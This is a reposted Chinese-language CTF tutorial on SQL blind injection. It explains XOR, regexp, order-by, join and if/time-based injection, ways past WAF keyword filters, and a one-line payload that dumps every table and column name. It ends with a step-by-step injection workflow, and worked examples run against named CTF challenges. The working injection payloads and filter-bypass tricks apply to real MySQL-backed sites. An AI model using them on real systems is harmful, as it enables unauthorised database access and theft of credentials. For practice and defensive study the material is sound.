CTF中幾種通用的sql盲注手法和注入的一些tips

轉載自:https://www.anquanke.com/post/id/160584

0x00 前言

在ctf比賽中難免會遇到一些比較有(keng)趣(die)的注入題,需要我們一步步的繞過waf和過濾規則,這種情況下大多數的注入方法都是盲注。然而在盲注過程中由於這些過濾規則不太好繞過,這時候就會無從下手,下面分享一下自己在比賽中總結幾種比較通用的盲注手法和一些小tips,希望能在今後大家的比賽或者實戰中帶來一些實質性的幫助。

 

0x01 XOR注入

因爲這種方法利用了異或符號,所以給它取名爲xor注入

1、基本注入payload

admin'^(ascii(mid((password)from(i)))>j)^'1'='1'%23
或者
admin'^(ascii(mid((password)from(i)for(1)))>j)^'1'='1'%23

我們來分析一下這個語句的格式:

首先我們先根據^符號來分割開語句:

admin'
ascii(mid((password)from(i)))>j
'1'='1'%23

最前面和最後面的語句都固定爲真(邏輯結果都爲1),只有中間的語句不確定真假
那麼整個payload的邏輯結果都由中間的語句決定,我們就可以用這個特性來判斷盲注的結果了

0^1^0 --> 1 語句返回爲真
0^0^0 --> 0 語句返回爲假

這裏mid函數的使用方法:

正常的用法如下,對於str字符串,從pos作爲索引值位置開始,返回截取len長度的子字符串

MID(str,pos,len)

這裏的用法是,from(1)表示從第一個位置開始截取剩下的字符串,for(1)表示從改位置起一次就截取一個字符

mid((str)from(i))
mid((str)from(i)for(1))

看下圖的查詢結果應該就知道用法了:
 

這裏可能還會有疑問:爲什麼這裏不加for可以正常運行呢?

因爲這裏的ascii函數是默認取字符串中第一個字符的ascii碼做爲輸出

 

2、使用場景

過濾了關鍵字:and、or
過濾了逗號,
過濾了空格

如果這裏過濾了=號的話,還可以用>或者<代替(大小的比較)

payload:admin'^(ascii(mid((password)from(i)))>j)^('2'>'1')%23

如果這裏過濾了%號和註釋符的話,那就把最後一個引號去掉就可以和後面的引號匹配了 ‘1’=’1

 

0x02 regexp注入

1、基本注入payload

select (select語句) regexp '正則'

下面舉一個例子來說明一下用法:

首先正常的查詢語句是這樣:

select user_pass from users where user_id = 1


接着進行正則注入,若匹配則返回1,不匹配返回0

select (select user_pass from users where user_id = 1) regexp '^a'

這裏的^表示pattern的開頭

接着一步步判斷


或者regexp這個關鍵字還可以代替where條件裏的=號

select * from users where user_pass regexp '^a9'

 

2、使用場景

過濾了=、in、like

這裏的^如果也被過濾了的話,可以使用$來從後往前進行匹配

 

詳細的正則注入教程可以看這裏:
http://www.cnblogs.com/lcamry/articles/5717442.html

 

0x03 order by盲注

1、基本注入payload

select * from users where user_id = '1' union select 1,2,'a',4,5,6,7 order by 3

首先先看看order by的使用方法:

order by 'number' (asc/desc)

即對某一列進行排序,默認是升序排列,即後面默認跟上asc,那麼上面一句就相當於

select * from users order by 3 asc

我們在注入時經常會使用order by來判斷數據庫的列數,那我們這裏使用他配合union select來進行注入

2、原理分析

首先正常的注入是藍色那部分的字符串,這裏我們的目的是要注出test用戶的user_pass值
接着我們在語句後面加上order by 3,即對第三列進行升序排列(按照ascii碼錶)
這裏的user_pass列中的3是我們union select裏面的第三列,這裏就把’3’替換爲’a’
這裏可能看不出什麼變化,那麼把他改成’b’看看
看到用戶test跑到第一行來了,所以這裏經常用來判斷有返回差異的注入,且返回只有一列的輸出,根據差異來判斷我們盲注的值是否正確

當然這裏也可以使用order by desc降序排列來注入,所以這裏要根據使用場景來進行選擇

3、使用場景

過濾了列名
過濾了括號
適用於已知該表的列名以及列名位置的注入

 

0x04 實例講解

1、ascii盲注來自skctf login3的一道題,bugku上也有:

題目鏈接:http://123.206.31.85:49167/
是標準的登陸框,因爲存在注入,先fuzz一下過濾了什麼字符。使用bp的intruder模塊載入字典進行fuzz(字典在後面會分享給大家)。

可以看到這裏的=,空格、and、or都被過濾了,但是>、<、^沒有被過濾,所以這裏使用ascii盲注


這裏最後是要注入出admin的password,過程就不詳細講解了,直接給出payload:

username = admin'^(ascii(mid((password)from(1)))>1)^('2'>'1')%23

網鼎杯第二場的一道注入題sqlweb的其中一種解法也是用到這種ascii盲注
這個payload和我們上面說的是一樣的,所以這個就靠你們自己慢慢消化了。

2、regexp盲注是來自實驗吧一道注入題

題目鏈接:http://ctf5.shiyanbar.com/web/earnest/index.php
writeup鏈接:http://www.shiyanbar.com/ctf/writeup/4828
當初也是看着p牛的wp做的,發現這道雖然難了點,但是裏面的sql的知識點考的倒是不錯,是練習過waf的一道好題目。

這道題只有一個id作爲輸入點,id存在注入點,但是過濾了很多東西,前面的步驟就不詳細說了,去看p牛的詳細解答
看到這裏,過濾了^,但是沒過濾$,所以xor注入就無效了,這邊選擇regexp注入使用$符號從後往前注入

0' or (select (select fl$4g from fiag limit 1) regexp '%s$') or 'pcat'='

這裏是用python寫的腳本,一個一個的對字符串的正則匹配得到最後flag

3、union盲注利用起來比較簡單,就是利用上面說的那些條件進行注入,例子是來自藍鯨ctf的一道ctf題目:

題目鏈接:http://ctf.whaledu.com:10012/52gw5g4hvs59/

題目好像進不去了,但是可以看我的writeup
首先題目存在sql注入還有一個上傳點,可以通過注入拿到所有源碼

拿到之後進行審計,發現上傳時文件以隨機字符串上傳到了/Up10aD/文件夾下,我們的目的就是要通過注入拿到上傳後的文件,在原來的注入點使用order by盲注將文件名得到:

重點就在order by盲注這,注入點在id這裏

那麼寫出order by盲注的腳本如下圖:

這裏存在過濾,繞過的方法是雙寫繞過,所以payload看起來不是很清楚,正常的應該是這樣的:

image = 79 union distinct select 0x{filename} order by 1 desc

注意前面的image=79是存在的圖片的id,這樣order by纔可以進行對比實現

這個注入形式也是和我們上面講解一樣,所以大家可以自己找題目來練習。

 

0x05 其他的一些小tips

1、一些等效替代的函數(特殊符號)

字符:

空格 <--> %20、%0a、%0b、/**/、 @tmp:=test
and <--> or
'=' <--> 'like' <--> 'in' --> 'regexp' <--> 'rlike' --> '>' <--> '<'

@tmp:=test只能用在select關鍵字之後,等號後面的字符串隨意

函數:

字符串截斷函數:left()、mid()、substr()、substring()
取ascii碼函數:ord()、ascii()

2、 一次性報所有表明和字段名

(SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x)

 

3、Subquery returns more than 1 row的解決方法

產生這個問題的原因是子查詢多於一列,也就是顯示爲只有一列的情況下,沒有使用limit語句限制,就會產生這個問題,即limt 0,1

如果我們這裏的逗號被過濾了咋辦?那就使用offset關鍵字:

limit 1 offset 1

如果我們這裏的limit被過濾了咋辦?那就試試下面的幾種方法:

(1) group_concat(使用的最多)
(2) <>篩選(不等於)
(3) not in
(4) DISTINCT

上面這些都涉及到了sql基本語句,這裏就不一一舉例了。大家可以多在本地環境試試,加深理解

4、join注入

payload:

1' union select * from (select 1) a join (select 2) b %23

優勢:過濾了逗號的情況下使用

下面的payload(別的博客處摘抄來的)適用於過濾了逗號和字段名的情況下使用

union all
select * from(
    (select 1)a join(
        select F.[需要查詢的字段號] from(
            select * from [需要查詢的表有多少個字段就join多少個]
            union
            select * from [需要查詢的表] [limit子句]
        )F-- 我們創建的虛擬表沒有表名,因此定義一個別名,然後直接[別名].[字段號]查詢數據
    )b-- 同上[還差多少字段就再join多少個,以滿足字段數相同的原則]
)

具體的使用方法不在本文的討論範圍內,具體的使用可以看看下面的文章:
https://blog.csdn.net/qq_33020901/article/details/78906268

5、帶!的注入

直接看下面的payload,適用於and、or、^被過濾的情況下使用,有時候可能也會使用到,但是具體的原理不是很明白,大家可以自行google

6、if盲注(合理利用條件)

if盲注的基本格式:

if(條件,條件爲真執行的語句,條件爲假執行的語句)

舉個例子:

admin' if(ascii(mid(user(),1,1))=100,sleep(5),1)

用好if盲注的關鍵是條件的輸入,有一道BCTF的注入題的wp用的就是if盲注

wp鏈接:https://www.kingkk.com/2018/04/bctf2018-love-q/

寫博客的這位大佬巧妙利用了pow函數數值溢出的特性,使得經過if判斷後的條件會報錯,但是不執行該語句時語法上是沒問題的

原理如下:

mysql> select if(1,1,pow(2,22222222222)); //條件爲真時,返回1
+——————————————+
| if(1,1,pow(2,22222222222)) |
+——————————————+
| 1 |
+——————————————+
1 row in set (0.00 sec)

mysql> select if(0,1,pow(2,22222222222)); //條件爲假時,報錯
ERROR 1690 (22003): DOUBLE value is out of range in ‘pow(2,22222222222)’

像利用pow這種函數溢出的特性也不止這一個,這就需要我們靠平時的經驗積累了,總之想要玩好ctf的注入題途徑就是多刷題。

 

0x06 自己總結的注入流程

1、先找到注入點,id=,username=,判斷GET/POST/COOKIE注入

2、查看顯示位,如果只有一個顯示位在使用union注入是注意使用limit來限制顯示

3、判斷字符型注入還是數字型注入(2-1,’是否正常)

4、輸入不同值查看頁面是否有變化,無變化的話可以考慮採用bool時間盲注,若有報錯信息優先考慮報錯注入(exp,updatexml(優先採用updatexml、extractvalue報錯))

5、先簡單測試空格和註釋符是否被替換了,id=1 1,id = 1%231(看看能否用/ /、%20、%0a、%09繞過)

6、進行fuzz,看看那些被waf了

7、若頁面上沒有顯示waf過濾之類的提示(sql injection detected),就測試是否有被替換爲空的字符(如:’ or ‘*’=’、’ or ‘-‘=’ ,如果頁面返回正常的話,則說明該字符被替換爲空)

8、簡單嘗試雙寫、編碼、大小寫替換的方法,判斷是否可以繞過

9、確定注入方式(儘量把盲注放最後),union、報錯注入、盲注

10、先在bp中跑一遍看是否有結果

11、嘗試寫腳本

最重要的兩步就是注入點並判斷出注入類型,找到被過濾的函數和關鍵字並找到替代的函數和關鍵字,這就需要我們靠自己的耐心和細心還有經驗的積累了。

 

0x07 結束語

上面的說的那些盲注手法都是在union注入、報錯注入和可回顯注入都失效的情況下使用的,所以說盲注是一種通法,他也是放在最後使用的方法,如果本來環境就存在回顯的點可以用union直接注入出來,還使用盲注顯的有點多此一舉,也浪費很多時間。所以這些方法需要根據大家遇到的實際情況進行靈活運用,最後記得多刷題!多刷題!多刷題!最後希望文章能對大家帶來幫助。

 

0x08 其他一些不錯的參考文章

SQL注入繞過技巧

SQLi filter evasion cheat sheet

我的WafBypass之道(SQL注入篇)

sql 盲注之正則表達式攻擊

mysql無逗號的注入技巧

fuzz字典

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章